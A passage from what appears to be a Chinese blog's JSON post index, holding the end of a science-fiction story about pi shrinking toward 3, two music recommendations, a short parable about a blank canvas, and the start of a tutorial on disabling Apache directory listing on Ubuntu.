发生,这个电话按键再用巧合来解释就实在是太说不过去了。一定发生了什么事情。\u003c/p\u003e\u003cp\u003e黄成萧感觉有点胸闷。他看了看自己家的客厅——没发现什么明显的异常。又看了看窗外:阳光灿烂,天空碧蓝。听筒中一直持续的“嘟——”声提醒他,电话还能用。\u003c/p\u003e\u003cp\u003e他没有打给电信公司。断网这种小事,和这些奇怪的白化事件相比,已经算不得什么了。黄成萧拨下了另外一串号码,这个号码属于他最好的朋友、本科兼硕士时候的舍友李海明。在黄成萧看来,李海明是最有可能解决这种诡异状况的人了。\u003c/p\u003e\u003cp\u003e“喂,那个,大黄啊。”李海明很快接了电话。黄成萧还没来得及讲话,李海明就抢先一步:“你家里有没有方便面和矿泉水?要是没有的话赶紧出去买,能买多少买多少,别磨蹭,快,但是要是外面乱成一团你就别去了,起码先注意人身安全。”\u003c/p\u003e\u003cp\u003e黄成萧心中“咯噔”一下,果然出事了,搞不好还是大事。\u003c/p\u003e\u003cp\u003e如果在警察局工作的朋友说要储粮备水,注意安全,那么八成是要出严重的治安问题,随后出现的危机可能会涉及到一整个城市。\u003c/p\u003e\u003cp\u003e如果在政府机要部门工作的朋友说要储粮备水,注意安全,那八成是要有战争风险,危机可能涉及到整个国家。\u003c/p\u003e\u003cp\u003e可是李海明并不是警察或者官员,李海明是科学家,准确的说是天文学家。他在一所和黄成萧同城的天文台研究天体物理学。如果一个天文学家朋友说要储粮备水,那可能要有行星级别的危险了,比如一颗小行星正在撞地球的路上。\u003c/p\u003e\u003cp\u003e电话里的李海明还在继续说着:“不多废话,我正要去你家,你等着,我还有那么三十来分钟就到了。我这里的水什么的也可以分给你一点。行了先不说了,我骑车呢,一会见。”\u003c/p\u003e\u003cp\u003e电话被李海明挂断了。放下听筒,黄成萧越想越觉得可怕。他走到窗边看了看窗外。可能是因为住在市郊的缘故,他没有看出李海明说的“乱成一团”,但是他确实发现了一些不正常的征兆:小区外面街道的正中心,七扭八歪的停着几辆车;小区里面三五成群的几伙人在议论着什么;市区方向似乎还有个地方冒起了烟。\u003c/p\u003e\u003cp\u003e黄成萧按照李海明的建议,下楼开始采购方便面和矿泉水。为了不引起怀疑和骚动,他去了小区中几家不同的小卖店,居然还都有存货。大概大多数人并没有李海明这样的科学家朋友,他们可能发现了有些事情不对,但是没想到事情严重到了要储备粮食的程度。\u003c/p\u003e\u003cp\u003e已经过去了半个小时,黄成萧往家里搬了三箱矿泉水以及许多方便面、饼干等耐储存的食品,李海明还是没有来。累得气喘吁吁的黄成萧看了看家里七扭八歪的纸箱,一屁股坐在沙发上,决定先休息一下。\u003c/p\u003e\u003cp\u003e一闲下来,他猛然想起今天的紧急事态似乎应该告诉一些自己在乎的人。但想了片刻,黄成萧也没想到该给谁打电话。现在还不知道发生了什么,给远在千里的父母打电话只能让他们干着急;之前谈过的两任女朋友,最后都因为复杂的原因分手了,自然也无话可聊;黄成萧平时过于平淡的处事方式和比别的同事高出一截的工资,也导致他在同事中并没有什么真的朋友。想来想去,在这个城市,黄成萧还真的想不到什么在乎的人。在家中环视一圈,最后黄成萧把目光停在了书房的办公桌上。办公桌上放着他刚批完的奥赛辅导班的卷子。\u003c/p\u003e\u003cp\u003e学生?难道学生是自己最在乎的人吗?黄成萧仔细的想了想这个问题。\u003c/p\u003e\u003cp\u003e从教学的角度来讲,黄成萧是一名相当优秀的老师——学科知识扎实、教学方法得当。但这只是因为他深厚的学识以及极强的责任心,而并不是出于对教育事业的热忱。在正常的课内教学班中,他甚至都不能叫出全部学生的名字。然而他今年开始带的这个奥赛班有些不同。\u003c/p\u003e\u003cp\u003e在黄成萧所在的城市,上百所小学的毕业生每年都会为了那十几所最优秀的初中而争得头破血流,各种竞赛也因此办得风生水起。虽然政府已经多次下令禁止升学和竞赛挂钩,然而许多初中依然用各种方法打着擦边球。学生家长也不惜花大价钱,给孩子报课外辅导班,甚至还把那些知名教师请到家中一对一辅导。但那些经济条件不太好的家庭是请不起辅导老师的,这就意味着这些家庭的孩子无法得到同等的教育,进而导致他们更难以考入好大学,找到好的工作……“阶层固化”这个近些年才火起来的概念也因此在网上被不断热议。在这样的情况下,黄成萧执教的这种公立学校提供的免费奥赛班就理所当然地被很多家境贫寒的家长和学生视为最后的救命稻草。黄成萧的班级中,集中了不少这样的学生。\u003c/p\u003e\u003cp\u003e梁如玉,一个特别爱看书的孩子,无论是《数学竞赛真题集》还是《三侠五义》都能读得津津有味,但是家里没有多余的钱买书,黄成萧经常借书给她。李凯博,父母都是外来务工人员,但是在对孩子的教育上很舍得花钱,他也没有辜负父母的希望,学习特别努力。陈懿峰,来自一个单亲家庭,聪明又有好奇心,虽然偶尔有点调皮,但是成绩相当好……这些孩子没有足够的金钱去享受优质的私人教育资源,更没有办法在升学失利的情况下出国读书。如果没有黄成萧和他的奥赛班,他们甚至都没有办法接受竞赛辅导。黄成萧认为,他真的在改变一些孩子的人生。\u003c/p\u003e\u003cp\u003e“大黄!黄成萧!”\u003c/p\u003e\u003cp\u003e窗外响起了李海明的声音,打断了黄成萧的思绪。他走到窗前,看到李海明站在楼下,身边停着一辆鼓鼓囊囊的电瓶车。两个人先是费力地把电瓶车抬到黄成萧家里,因为李海明既不同意把电瓶车锁在楼下,又不同意站在楼下说话——前者是因为他怕什么时候爆发骚乱,电瓶车或者车子上的水和压缩饼干被拿走,后者是因为怕别人听到他们的谈话导致“爆发骚乱”本身。还好,黄成萧家只住在二楼。\u003c/p\u003e\u003cp\u003e一进屋,李海明就直接开门见山:“是不是没法上网了?”\u003c/p\u003e\u003cp\u003e黄成萧对于李海明预知到这些并不感到惊讶,刚搬完许多箱食品、瓶装水和一辆电动车的他还在气喘吁吁,“嗯”了一下,算是回答了。\u003c/p\u003e\u003cp\u003e“还有别的事儿吧,比如东西碎了啊,变形了啊,不能用了啊……”\u003c/p\u003e\u003cp\u003e黄成萧回答:“你自己看吧,去卧室看看床头柜上的闹钟和杯子。对了,还有这个电话上的按钮。”他有气无力地指了一下摆在客厅一角的小桌子上面的电话。\u003c/p\u003e\u003cp\u003e李海明瞟了一眼电话,一边微微点了点头,一边转身走进卧室。黄成萧仍然没有从刚才的劳累中完全恢复,脱掉鞋子坐在沙发上休息,这个时候李海明拿着他的白色水杯从卧室走了出来。\u003c/p\u003e\u003cp\u003e“你运气还算好的,我一个朋友今天早上起床,直接踩了一脚的碎玻璃。”李海明说。\u003c/p\u003e\u003cp\u003e黄成萧已经懒得在乎自己的运气好不好了,他盯着李海明,一字一顿的说:“我就想知道,这个世界到底他妈的怎么了。”\u003c/p\u003e\u003cp\u003e李海明笑了,他没有直接回答,而是反问了黄成萧一个问题。\u003c/p\u003e\u003cp\u003e“你知道圆周率是多少吗?”\u003c/p\u003e\u003cp\u003e“你说什么?”黄成萧以为自己听错了。\u003c/p\u003e\u003cp\u003e“我问你,圆周率是多少。”李海明又重复了一遍。\u003c/p\u003e\u003cp\u003e“圆周率是π啊……三点一四一五九二六五三五八九七九三……”虽然对李海明的卖关子有点厌烦,黄成萧还是背出了圆周率,而且还背出了很多位。\u003c/p\u003e\u003cp\u003e李海明打断了他的背诵。“嗯,那么我告诉你,发生这一切的原因就是,圆周率现在不是你背出来的那个数了。现在的圆周率嘛……估计在三点一三左右吧。”\u003c/p\u003e\u003cp\u003e黄成萧目瞪口呆。他听懂了李海明刚才说的每一个字,但是他却怀疑自己是不是理解错了。黄成萧心里很清楚,自己这个上午发现的诡异改变背后,一定有非常不一般的原因。但是他做梦也没想到这个原因居然是圆周率变了。\u003c/p\u003e\u003cp\u003e李海明继续说下去,“你还记得我们学过的相对论吧。其实我们的宇宙,是可以用四个维度来描述的,包括一个时间维度和三个空间维度。在狭义相对论中,时空是平直的,而在广义相对论中,时空会因为物质和能量的存在而产生弯曲。所以我们所处的空间,其实是一个可以弯曲的三维空间,在弯曲的空间中,描绘这个空间的几何学可能会偏离欧几里得几何的。”李海明一边说一边用双手比划出了一个球的形状,似乎真的在描绘空间的弯曲一样。\u003c/p\u003e\u003cp\u003e黄成萧点了点头。“我记得当时老师为了方便理解还举了例子——用二维空间来打比方的话,我们从初中就开始学的欧几里得几何其实就是描述平直的二维空间的,两条平行线没有交点。而如果空间有弯曲,比如在一个球面或者马鞍面上,两条平行线可能会有两个交点”\u003c/p\u003e\u003cp\u003e“是的,我们在数学上用曲率这个概念来描述空间的弯曲程度,这个例子形象地说明了不同曲率的空间的样子。然而曲率影响的不仅仅是平行线,还影响了许多其他几何性质,比如说——”\u003c/p\u003e\u003cp\u003e“圆周率。”\u003c/p\u003e\u003cp\u003e这三个字是李海明和黄成萧一起说出来的。\u003c/p\u003e\u003cp\u003e李海明继续解释:“昨天半夜,大概十一点十五分左右吧,全球基本上所有的天文台都报告了星空的异常——星星之间的相对位置发生了变化。当然了,一开始没人想到圆周率变了这种事情的,直到排查了所有可能的因素,并且对比了其他天文台传来的数据之后,我们才得出结论:圆周率正在慢慢变小。当我们讨论出这个结果的时候,已经是凌晨两点多了,过不了多久,所有基于光纤的网络就都用不了了,现在有线电话还能使用。天文台也出现了各种状况,比如望远镜的焦距已经不准确了,有比较脆的或者不太均匀的材料组成的物品相继碎裂,没碎的也可能出现各种变化,尤其是很多种类的塑料会因为许多极其细小而均匀的裂纹而变白,这个现象在材料学上好像叫‘银纹’,比如你这个水杯是聚丙烯的吧……”李海明把黄成萧的水杯举得很高,用力地朝着地板砸了下去,塑料水杯非常奇妙地碎成了如尘埃一般的粉末。\u003c/p\u003e\u003cp\u003e黄成萧明白了一切。圆周率变小了,这意味着和之前相比,组成具有某个半径的环或者球不再需要那么多的材料。一个直径是一厘米的球,原本的体积是三分之四乘以一厘米的立方再乘以三点一四。而现在,最后的那个系数变成了三点一三。这样一来,原来组成这个球的材料就会变得过剩,这些多余出来的材料会让球体内部产生向外的压力,并且还有破坏球体的趋势,就像一个越吹越大、快要爆炸的气球。\u003c/p\u003e\u003cp\u003e其实不仅是球形物体,所有物体的内部都在遭受额外的挤压。那些多余的材料在圆周率变化的影响下,使物体内部产生了均匀的压力。有一定韧性或者一定强度的材料还保持着稳定性,比如金属、质量较好的玻璃或者混凝土,但是有些很脆的材料或者很精密的材料就因为这些压力被破坏或者失去了功能,比如望远镜的镜片、光纤中的玻璃纤维。也有的材料因为这些均匀的压力而产生了非常细密的裂纹,从透明变成了白色。这方面尤其明显的就是塑料制品,比如他家里的水杯、闹钟表面和电话按键。刚才李海明说的被一地的碎玻璃扎了的同事,也是因此而受害。\u003c/p\u003e\u003cp\u003e这还不是最可怕的。黄成萧望着李海明,一脸惊恐。李海明神色肃然,手轻轻地向着地面指了指。黄成萧知道他想说什么。我们身边最大的球体,就是脚下的地球。\u003c/p\u003e\u003cp\u003e光是正常的板块运动就足以导致造成千万人丧生的大地震,而这种从地核到地壳的向外压力可能导致的后果,黄成萧简直不敢想象。地下的岩浆最后会在挤压下冲破地壳喷涌而出,可能造成上亿人的死伤。\u003c/p\u003e\u003cp\u003e黄成萧突然发现李海明还在看着自己。他收回思绪,点了点头示意李海明继续。\u003c/p\u003e\u003cp\u003e“你知道更意外的是什么吗,这只是个开端。”李海明用重音强调了“开端”两个字。\u003c/p\u003e\u003cp\u003e“开端?你是什么意思,这只是骚乱的开端吗?”\u003c/p\u003e\u003cp\u003e“说骚乱的开端也对,但是我刚才说的不是这个意思。我是说,这只是圆周率变小的开端。现在的圆周率大概在三点一三左右吧。圆周率还会持续变小的,”李海明继续说着,“昨晚在发现这件事情之后,我们研究了圆周率变小的趋势。最后我们的结论是,根据多种拟合方法,圆周率会以越来越慢的速度持续变小,大概在一段时间后稳定在3左右,这个时间有多长现在还没有统一的答案,估计在几千年上下吧。这个要是写出一篇论文,那一定能上《Nature》,也一定能得诺贝尔奖……”李海明苦笑了一下,“可是《Nature》或者诺贝尔奖,在这件事情面前似乎没什么意义了。”\u003c/p\u003e\u003cp\u003e黄成萧沉默了一小会,似乎在思考这个令人震惊的事实背后的含义。片刻后他问李海明:“那你们现在知不知道为什么圆周率会异常?有黑洞或者中子星什么的经过地球附近吗?”\u003c/p\u003e\u003cp\u003e李海明笑着轻轻怼了黄成萧一拳:“好样的,在这种时候还想着物理,我就知道你心里还是很在乎物理的,真不愧是我这种物理学界青年才俊的舍友啊。”\u003c/p\u003e\u003cp\u003e“少臭美,快说,一会你死了没人给我讲了。”\u003c/p\u003e\u003cp\u003e“其实,我们不应该说圆周率异常了。”李海明似乎兴奋起来,像是要揭示什么重大的秘密,“我们应该说,圆周率正常了。”\u003c/p\u003e\u003cp\u003e黄成萧又一次被震惊了,“难道你的意思是……我们之前用的圆周率,才是受到干扰之后的?”\u003c/p\u003e\u003cp\u003e“没错,现在我们确实是这么认为的。3,这个整数,才应该是真正的圆周率,或者说正常的圆周率。你知道有个天才的数学家吧,就是那个把自己憋在家里做数学题的俄罗斯人,叫格里戈里·佩雷尔曼的那个。我们昨天晚上就给他打了电话。天才的行动速度就是快,今天上午五点多,我们就接到了他的传真,他用的数学太高深了,而且因为时间有限,他的稿子非常潦草,我看不太懂。但是他的结论是,圆周率是3的情况下,可以构建出一个比现在的数学体系融洽得多的新体系,而且还可能和我们空间的维度是三有关系。他在传真最后谢谢我们,他说,他瞥见了宇宙间最为宏伟瑰丽的数学大厦,虽然也许没有太多的时间做进一步研究,但他认为此生无憾了。”李海明说话的语气居然都抑扬顿挫起来,似乎受到了数学家的感染。对于一个数学家或者物理学家来说,“朝闻道,夕死可矣”这句话,并不是一句空谈。\u003c/p\u003e\u003cp\u003e“其实,从最开始接触圆周率的时候我就想过这个问题。”黄成萧也完全忘记了他在人世中要面临的境地,投入地谈起了自己感兴趣的物理学。“小的时候就总是觉得圆周率π很难算,经常要计算许多小数乘法,要是圆周率是一个整数该多好。后来,我又总觉得圆周率不够美,居然是一个无限不循环小数,自然规律应该是简洁而优美的啊。没想到,在没有受到干扰的空间中,圆周率居然真的是一个整数……对了,之前是什么干扰了我们的空间?我不记得地球附近有发现过大质量天体啊。”\u003c/p\u003e\u003cp\u003e李海明摇了摇头:“这属于我们不知道的范围了,但是我们现在猜测,影响我们这个三维空间曲率的因素,不在我们这三个维度之中。因为根据那些在望远镜彻底坏掉之前得到的天文观测数据,整个宇宙的曲率都是在同步改变的。也许是其他维度中的什么因素影响了我们所在的这个空间的曲率,比如高维空间中的某个有质量的物体。但是这个因素现在消失了,我们这个空间的曲率也因此慢慢恢复正常。而且你知道吗,最有意思,也是最可怕的事情在于,”李海明顿了顿,准备揭晓最后的谜底,“根据估计,一个圆周率是3的正常曲率的宇宙,是不支持生命存在的。那些做分子模拟的人认为,圆周率减少到3.05左右的时候,超过十几个碳原子组成的分子都不会稳定存在。”\u003c/p\u003e\u003cp\u003e黄成萧盯着李海明的眼睛,一字一顿的说:“你的意思是,我们之所以能够存在,仅仅是因为一个其他维度的未知因素产生的意外。”\u003c/p\u003e\u003cp\u003e李海明微笑着点了点头。\u003c/p\u003e\u003cp\u003e造化弄人。这是黄成萧想到的第一个词语。没想到,自己乃至人类的存在,都只是一个意外。而正常的宇宙,居然只可能是一个毫无生机的死亡世界。\u003c/p\u003e\u003cp\u003e“那人类有什么希望能把圆周率改回原来的数值吗?或者至少……能改变到一个能允许宇宙中存在生命的数值啊……”黄成萧问李海明。\u003c/p\u003e\u003cp\u003e李海明摇了摇头:“不知道,也许可以,也许不行。圆周率改变的因素涉及到超出我们的四维时空之外的维度,人类知道的还太少了。”他的语气低沉了下去,但随后又抬了抬头,继续说,“不过,人类不会这么坐以待毙的。根据估算,宇宙变得完全不适合人类生存还需要大概两千年到三千年。昨晚一发现异常,天文台的台长就立刻对上级部门做了紧急汇报,只用了四十分钟,中国就已经建立起了一个集合了三十多个科研院所和高校的团队,并且草拟了一个时间跨度长达两千年的计划。美国、欧盟、俄罗斯和日本也相继建立起了自己的团队,跨国合作会随后展开。”\u003c/p\u003e\u003cp\u003e李海明自然是在这个科研团队中的。黄成萧有点惊讶:“那你居然还能跑过来找我?你现在应该是国宝级,噢不,球宝级的待遇啊。”\u003c/p\u003e\u003cp\u003e李海明乐了:“球宝啊,那得看这两个月我的运气好不好了。昨晚的时候,地球物理学小组火速模拟了圆周率变小情况下的地质运动。地幔中被挤压出的岩浆会冲击地壳,导致地壳的剧烈运动和相互碰撞。在地壳薄弱的地方,岩浆还有可能直接冲破地壳。所以就在这几天,岩浆喷发和地震应该会频繁发生,尤其是在版块交界处和原来的地震带上。当然地球的实际情况复杂,有很强的不确定性,这些灾害也有可能在任何地方发生。圆周率的变小速度是逐渐减缓的,所以等到大概两到三个月过后,地壳的各个板块会因为涌出的岩浆会渐渐分离,不再碰撞,地幔中岩浆的涌出也会趋于平稳。版块交界处会形成条形的岩浆泉。在这个时候,地质灾害就会基本恢复到圆周率变化之前的频率了。\u003c/p\u003e\u003cp\u003e“鉴于这两个月剧烈爆发的地质灾害有强烈的不确定性和超出想象的强度,现在的地球上,没有任何一个地点的保护措施是可靠的。不能把所有鸡蛋都放在一个篮子里,国家决定所有在团队中的科研人员立刻解散,而且鼓励大家离开所在城市,分散到全国各地,等到地质灾害频繁发生的阶段过去了,再集中到一起。不然,我今天可能还真没法看到你。”\u003c/p\u003e\u003cp\u003e李海明的语气突然加重了一些:“最后还有一件很重要的事情。大黄,我来找你并不仅仅是给你送水的。我一直欣赏你的天分,你因为各种原因没有去做科研我很遗憾,但是这次事件之后,估计全世界都会向科学研究投入巨量的经费,而且也需要许多理论物理学专业的人才,相关人员的待遇也肯定会提高……等到这个暂时的骚乱平息之后,你要不要重新回到科研岗位?我们组还很缺理论物理的人。另外,”李海明露出了开玩笑一样的笑容,“还可以顺手拯救一下宇宙和人类什么的。”\u003c/p\u003e\u003cp\u003e这对于黄成萧来说当然是个好消息,他点了点头:“我当然同意。”\u003c/p\u003e\u003cp\u003e李海明并不意外:“我就知道你会同意的,从本科到博士你都那么喜欢科研,更何况你这个人特别有责任感,面对这种威胁到整个文明生存,甚至还威胁到那些不知道有没有的外星文明的生存的时候,你肯定会做点什么的。即使人类的诞生只是一场意外,人类也应该努力,精彩的生存下去。”\u003c/p\u003e\u003cp\u003e李海明这最后一句话让黄成萧陷入沉思。他似乎想起了一些往事,想起了那一次不和谐的家访,和那位强忍泪水的少年。\u003c/p\u003e\u003cp\u003e“你的出生就是一个意外,你妈当初就不该把你生下来!”这是黄成萧在一次家访的时候听到的。黄成萧去的是奥赛班中一个叫孙亮的孩子家。孙亮随母姓,这是因为没有人知道他的父亲是谁——也许孙亮的母亲知道,但是孙亮小时候的一场车祸让他的母亲再也没有机会告诉他答案了。孙亮在经济同样不宽裕的姨妈家里长大,可想而知,姨妈对他并不很友好。这是一次不成功的家访,孙亮的姨妈听到黄成萧对于孙亮天分和成绩的高度评价后并没有开心,反而对着孙亮喊出了这些刺耳的话。\u003c/p\u003e\u003cp\u003e黄成萧很清楚,孙亮一定有些不顺心的事情,他这次家访就是因为孙亮最近频繁表露出的厌学情绪,还说想要退出奥赛辅导。只是黄成萧没有想到,只有十岁的孙亮,却要在心中承载这么多的痛苦。在他之前看来,孙亮只是一个虽然有些内向,但努力而且很有天分的学生,颇有几分像小时候的自己。他真的不知道在这个男孩背后有这样的家庭。\u003c/p\u003e\u003cp\u003e和孙亮的姨妈尴尬地告别之后,黄成萧把孙亮叫出了门外。\u003c/p\u003e\u003cp\u003e“孙亮,你的姨妈可能说话不太注意,你不要太往心里去,老师相信你是很优秀的学生,你会是老师的骄傲。”这不仅仅是安慰,黄成萧知道,自己对孙亮的认可是发自内心的。\u003c/p\u003e\u003cp\u003e孙亮的身体有些微微颤抖,抿着嘴唇,眼中忍着泪花。\u003c/p\u003e\u003cp\u003e黄成萧弯下身子,双眼平视着孙亮。用虽然不大,但是很坚定的声音说出了他对他的学生真挚的告诫。\u003c/p\u003e\u003cp\u003e“即使我们的出生只是一场意外,我们也应该努力过的更精彩。”\u003c/p\u003e\u003cp\u003e“海明,我恐怕还不能马上开始搞科研。”从回忆中转到现实,黄成萧缓缓地说,“一年之后吧,一年之后我再辞去老师的工作,给我一年的时间。”\u003c/p\u003e\u003cp\u003e“嗯?怎么了?”李海明有点不解。\u003c/p\u003e\u003cp\u003e“下一届奥赛还有不到一年,我起码要送走这一届奥赛班的学生。”黄成萧冲着李海明有些抱歉地笑了笑,“我要尽到我作为老师的责任。”\u003c/p\u003e\u003cp\u003e李海明愣了一下,“我还以为你不喜欢当老师呢。”这不能怪李海明不了解朋友,毕竟黄成萧每次见到李海明都要表达一下对于科研工作的羡慕。“而且你要知道,在这样的情况下,明年的奥赛还办不办是很不好说的。”\u003c/p\u003e\u003cp\u003e“奥赛就算不办了,学校总不可能也不办了吧。人类以后肯定是需要科学家的,怎么都会有个考试,或者其他的选拔之类的,对于人类,这可以让我们找到优秀的人才,对于那些学生,这也是改变命运的途径啊……”黄成萧的语气似乎有点着急。\u003c/p\u003e\u003cp\u003e李海明了解黄成萧的性格和责任心,他也大概猜到了自己的老同学放不下的是什么。他善解人意地笑了,拍了拍黄成萧的肩膀:“好的,我理解你。”\u003c/p\u003e\u003cp\u003e现在并不是闲谈叙旧的好时候,李海明整理了一下衣服,准备离开。\u003c/p\u003e\u003cp\u003e“我要走了,时间不多,很多汽车已经不能用了,也有的会爆炸……内燃机作为动力的东西现在都太危险了,我想趁着电瓶车还能用,赶紧把这些东西送回家。这个消息传开之后,社会上肯定会乱一阵子,要是哪里有岩浆喷出来了估计还要死好多人,但是过一小段时间之后,社会就会重新安定下来的……等到那个时候,别忘了我们要一起搞科研的约定啊,你可别死了。”虽然话里还带着玩笑,但是李海明的语调却低沉了下去。\u003c/p\u003e\u003cp\u003e“去吧,给叔叔阿姨带个好,”黄成萧的语调更显得黯然。和家就在邻市的李海明不同,黄成萧的家远在千里,现在已经不存在安全回家的办法了。\u003c/p\u003e\u003cp\u003e帮着李海明把电动车以及足够的食物和水抬到楼下,黄成萧意识到,他现在真的要和他的好朋友分别了,能不能再见,恐怕还要看命运的安排。\u003c/p\u003e\u003cp\u003e“电话在大部分情况下应该还能用,不过这说不太准,可能不久线路就会被挤爆,赶紧给要联系的人打电话。比较新的楼房大多是安全的,这个取决于这个城市是不是会地震以及会不会有岩浆喷发,这个主要看运气。离危险的东西远一点,比如所有的玻璃制品陶瓷制品之类的都可能在任何时候突然碎裂,这个取决于它们的质量好不好,形状均匀不均匀……人体组织的可塑性很强,虽然可能会有不舒服的感觉但是不会很严重……”李海明絮絮叨叨地嘱咐黄成萧,声音不大,但是语速很快。小区里面聚集的人多了许多,大家都在用焦急的语气询问着四邻,空气中充满了喧嚣的声音。发现情况不对的人越来越多了,骚乱可能很快就会爆发。\u003c/p\u003e\u003cp\u003e说完了许多注意事项,李海明呼出一口气,又用低沉的声音缓缓的补充一句话。\u003c/p\u003e\u003cp\u003e“记得,电话说不好还能用多久了,赶紧去打几个电话,帮我给叔叔阿姨带个好。”\u003c/p\u003e\u003cp\u003e黄成萧默默地点了点头。李海明用力抱了抱黄成萧,接着转身跨上电动车。\u003c/p\u003e\u003cp\u003e“兄弟,再见了。”\u003c/p\u003e\u003cp\u003e“兄弟,再见。”\u003c/p\u003e\u003cp\u003e目送李海明离开后,黄成萧回到家里,在脑海中构思了一张名单,这份名单中有父母,有一些老朋友,也有许多学生家长。黄成萧按顺序打电话过去。\u003c/p\u003e\u003cp\u003e一个半小时之后,黄成萧仔细地想了一遍,确定没有什么要打的电话了。他觉得心中仿佛放下了一块负担,尽人事,剩下的就是安天命了。\u003c/p\u003e\u003cp\u003e黄成萧心满意足地躺在了沙发上,习惯性地从裤兜中拿出手机想要刷一下互联网放松一下。可是直到机械性地解锁了手机后,他才反应过来,已经没有什么互联网了。\u003c/p\u003e\u003cp\u003e手机已经被解锁,自动跳出了他上次使用时候的画面。\u003c/p\u003e\u003cp\u003e看着屏幕上仍然没有发送出去的那句话,黄成萧的嘴角露出一丝笑意。\u003c/p\u003e\u003cp\u003e“各位家长大家好,我刚刚批完了上周五单元测验的卷子,发现有很多同学没有注意读题。最后一道计算题的题干中已经明确给出,圆周率取3.14,而不是我们在三年级时为了简化计算而取的3。请各位家长和孩子们强调一下审题的重要性,此外还要和孩子们强调:圆周率只有在做近似计算的时候可以取3,真正的圆周率不是3,而是一个无限不循环小数,我们一般近似使用3.14。”\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e注:本文转载自原作者\u003c/p\u003e\u003c/blockquote\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2020/12/21/%E6%96%87%E5%AD%A6/%E4%B9%A6%E6%96%8B/%E5%9C%86%E5%91%A8%E7%8E%87/"},{"title":"音乐推荐:幻想净琉璃","time":"2020-12-21T05:27:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e无需多言。请插上耳机,一起感受这回荡于天地之间的狂风暴雨吧。 \u003c/p\u003e\u003cp\u003e\u003ca href=\"https://music.163.com/outchain/player?type=2\u0026amp;id=28219116\u0026amp;auto=1\u0026amp;height=66\"\u003e点击进入\u003c/a\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2020/12/21/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E9%9F%B3%E4%B9%90%E6%8E%A8%E8%8D%90%EF%BC%9A%E5%B9%BB%E6%83%B3%E5%87%80%E7%90%89%E7%92%83/"},{"title":"音乐推荐:秋霜玉~Clockworks","time":"2020-12-21T04:59:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e一首很有幻想感的曲子。无何有之乡的感觉呢。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eZUN乐评:\u003cbr/\u003e这是从秋霜玉而来的标题曲【 秋霜玉 ~ Clockworks 】。\u003cbr/\u003e因为本来是短而阴暗的曲子,所以变成了阴暗而又短的曲子。\u003cbr/\u003e明明我一开始的时候一点也没打算创作这么阴暗的曲子。啊,说错,还是有一点的,不对,是稍微有一点… 不,是相当…(^^;\u003c/p\u003e\u003c/blockquote\u003e\u003chr/\u003e\u003cp\u003e啊,对了。这首曲子是西方project的第一作sh1:西方秋霜玉的标题曲。 \u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2020/12/21/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E9%9F%B3%E4%B9%90%E6%8E%A8%E8%8D%90%EF%BC%9A%E7%A7%8B%E9%9C%9C%E7%8E%89%EF%BD%9EClockworks/"},{"title":"画作","time":"2020-12-21T04:56:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e为名为人生的画布涂上名为意义的油彩,他完成了一幅令自己赏心悦目的画作。 \u003c/p\u003e\u003cp\u003e他将这幅画骄傲的展示给他人看。  \u003c/p\u003e\u003cp\u003e“你们看,这便是我思考的人生,这便是我的深度,我已经接触到人生本质的东西了!” \u003c/p\u003e\u003cp\u003e大家面面相觑,看了看自己还是一片洁白的画布,纷纷拿起了画笔,有人模仿着他作画,称他为大师,哲学家;有人标新立异,创作出截然不同的画作,人们称其为改革者,创新家。有人去评价作品的优劣,撰写颜料的用法,人们称其为批评家,学者。 \u003c/p\u003e\u003cp\u003e只有一个孩子,他看着自己空白的画布,什么都画不出来,他不懂那些颜料的涂抹有什么意思。别人安慰他,“没关系,你还小,不懂也正常,多看看别人的画,长大了就知道了。”于是他就看那些大师们的画,一直到长大,他都没能明白,什么叫深度,什么叫做人生本质。 \u003c/p\u003e\u003cp\u003e他长大了,别人也不再宽容,当面说他“真是个思想浅薄的人啊!”他看着自己雪白的画布哭了。\u003cbr/\u003e他想画点什么,但是始终无法下笔,他知道,自己并不认同别人的话。\u003c/p\u003e\u003cp\u003e终于,他老了,当初他见过的那些画,有的已经油彩脱落,变成了无法辨识的残次品,有的经风吹日晒,变成了颜料的团块。只有他的画布,依旧洁白如雪。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2020/12/21/%E6%96%87%E5%AD%A6/%E4%B9%A6%E6%96%8B/%E7%94%BB%E4%BD%9C/"},{"title":"Ubuntu下禁用Apache浏览","time":"2020-12-20T09:28:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"禁止目录浏览\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/20/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Ubuntu%E4%B8%8B%E7%A6%81%E7%94%A8Apache%E6%B5%8F%E8%A7%88/#%E7%A6%81%E6%AD%A2%E7%9B%AE%E5%BD%95%E6%B5%8F%E8%A7%88\" class=\"headerlink\" title=\"禁止目录浏览\"\u003e\u003c/a\u003e禁止目录浏览\u003c/h2\u003e\u003cp\u003e让别人知道你的网站目录结构直接查看你目录下的所有文件是很危险的一个事情。所以一般我们会关闭Apache的这项功能。\u003cbr/\u003e下面是步骤(对于Ubuntu)。\u003c/p\u003e\u003cp\u003e1.打开apache2配置文件\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003evim /etc/apache2/apache2.conf\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e2.找到如下位置中的 